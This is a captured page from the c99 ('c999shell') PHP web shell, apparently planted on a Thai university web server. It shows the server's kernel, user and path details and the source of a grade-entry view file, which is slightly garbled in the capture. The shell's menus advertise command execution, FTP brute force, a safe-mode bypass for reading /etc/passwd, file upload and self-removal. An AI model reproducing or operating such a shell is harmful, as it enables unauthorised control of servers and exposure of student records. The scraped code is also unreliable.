!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_addSendGrade.php (6.15 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<script>
function checkFormat(cnt) {
    for (var i=0; i<cnt; i++) {
        var selRef = document.getElementById("grade" + i);
        if(selRef && !selRef.disabled && selRef.value=="") {
            alert("กรุณากรอกเกรด");
            selRef.focus();
            return false;
        }
    }
    return true;
}
</script>
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td><div align="center">
            <?php echo form_open($this->config->item("rg_folder")."grade/processSendGrade", array("name" => "myform""id" => "myform"));?>
            <table width="100%" align="center" cellpadding="0" cellspacing="1" border="0">
                <tr>
                    <td align="center"><span class="h error">บันทึกส่งเกรด</span></td>
                </tr>
                <tr>
                    <td><br /></td>
                </tr>
                <tr>
                    <td><table class="szone">
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone">รายวิชา</td>
                            <td><?php echo $qu_co->row()->crsCode.' '.$qu_co->row()->crsName;?>
                            <input type="hidden" name="coId" value="<?php echo $coId;?>">
                            <input type="hidden" name="clIdStr" value="<?php echo $clIdStr;?>"></td>
                            <td class="coltd_szone">กลุ่ม</td>
                            <td><?php echo ($view == 's') ? '-' $qu_co->row()->coSection;?></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone">หน่วยกิต</td>
                            <td><?php echo $qu_co->row()->crsUnit;?></td>
                            <td class="coltd_szone">ภาค/ปีการศึกษา</td>
                            <td><?php echo $qu_co->row()->coTmId.'/'.$qu_co->row()->coAcY;?>
                            <input type="hidden" name="rdTmId" value="<?php echo $qu_co->row()->coTmId;?>">
                            <input type="hidden" name="rdAcY" value="<?php echo $qu_co->row()->coAcY;?>"></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone">อาจารย์ผู้สอน</td>
                            <td colspan="3"><?php echo $qu_tt->row()->prsName;?></td>
                        </tr>
                    </table></td>
                </tr>
                <tr>
                    <td><br /></td>
                </tr>
                <tr>
                    <td><table class="headCol">
                        <tr>
                            <th class="seqCol">ลำดับที่</th>
                            <th class="stdCodeCol">รหัสนักศึกษา</th>
                            <th>ชื่อ-นามสกุลนักศึกษา</th>
                            <th class="domAmtCol">เกรด</th>
                        </tr>
<?php
            $num_rows 
count($rs);
            
$i=0;
            if (
$num_rows) {
                foreach (
$rs as $key => $val) {
                        echo 
"<tr onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
                            <td align="center"><font size="2"><?php echo $key 1;?></font></td>
                            <td align="center"><font size="2"><?php echo $rs[$key]['qu_std']->row()->stdCode;?></font>
                            <input type="hidden" name="stdId[]" value="<?php echo $rs[$key]['qu_std']->row()->stdId;?>">
                            <input type="hidden" name="rdCoId[]" value="<?php echo $rs[$key]['rdCoId'];?>"></td>
                            <td class="indent"><font size="2"><?php echo $rs[$key]['qu_std']->row()->prefixName.$rs[$key]['qu_std']->row()->stdName.' '.$rs[$key]['qu_std']->row()->stdSurname;?></font>
                            <?php    // 20/09/2556 add qu_rf
                                    
if($rs[$key]['disabled'] != '') { 
                                        echo 
nbs(5)."<font color='#FF3333' >( มียอดค้างชำระ  ".$rs[$key]['qu_rf']." บาท )</font>"
                                    }                                
                            
?>
                            </td>
                            <td align="center"><?php echo form_dropdown('rdGrade[]'$rs[$key]['rs_grd'], set_value('rdGrade[]'$rs[$key]['rdGrade']));
                                    
// 17/1/2556 ,$rs[$key]['disabled'] 
                                
?>
                            </td>
                        </tr>
<?php
                    $i
++;
                }
            } else {
?>
                        <tr>
                            <td align="center" colspan="4"><span class="error">** ไม่ปรากฏรายชื่อนักศึกษาที่ลงทะเบียนเรียน **</span></td>
                        </tr>
<?php
            
}
?>
                    </table></td>
                </tr>
                <tr>
                    <td align="right" height="22"><font size="2" >รวม <?php echo $num_rows;?> รายการ</font></td>
                </tr>
                <tr>
                    <td align="center"><input type="submit" name="edit" value="บันทึกเกรด" <?php echo ($num_rows) ? '' 'disabled';?>>
                    <input type="reset" name="clear" value="เคลียร์ข้อมูล">
                    <!-- <input type="button" name="cancel" value="ยกเลิก" onClick="location.href = '<?php echo site_url().$this->config->item("rg_folder")."grade/".$tc."showCrsSendGrd";?>'"> -->
                    <input type="hidden" name="view" value="<?php echo $view;?>">
                    <input type="hidden" name="tc" value="<?php echo $tc;?>"></td>
                </tr>
            </table><?php echo form_close();?></div>
        <br></td>
    </tr>
    <tr>
        <td><table class="mark">
            <tr>
                <td class="coltd_mark"><font size="2" color="<?php echo $font_color_err;?>"><b>หมายเหตุ :</b></font></td>
                <td colspan="8"><font size="2" color="<?php echo $font_color_err;?>">ช่องเกรดเป็นสีเทา เนื่องจากนักศึกษาคนนั้นยังค้างชำระค่าลงทะเบียนเรียนในภาคการศึกษานี้อยู่ และไม่ได้ทุน กยศ.</font></td>
            </tr>
            <tr>
                <td class="coltd_mark"></td>
                <td colspan="8"><font size="2" color="<?php echo $font_color_err;?>">ชื่อ-นามสกุลนักศึกษาเป็นสีแดง เนื่องจากนักศึกษาคนนั้นยังค้างชำระค่าลงทะเบียนเรียนในภาคการศึกษานี้อยู่ แต่ได้ทุน กยศ.</font></td>
            </tr>
<?php
$k 
0;
if(isset(
$rs_grd) && $rs_grd->num_rows()) {
    foreach(
$rs_grd->result() as $rowGrd) {
        if((
$k%5)==0)
            echo 
'<tr>';
?>
                <td height="22" align="right"><font size="2" color="<?php echo $font_color_err;?>"><?php echo $rowGrd->grdGrade;?></font></td>
                <td><font size="2" color="<?php echo $font_color_err;?>"><?php echo ': '.$rowGrd->grdPoint.' ('.$rowGrd->grdDescription.')';?></font></td>
<?php
        $k
++;
    }
}
?>
            </tr>
        </table></td>
    </tr>    
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0065 ]--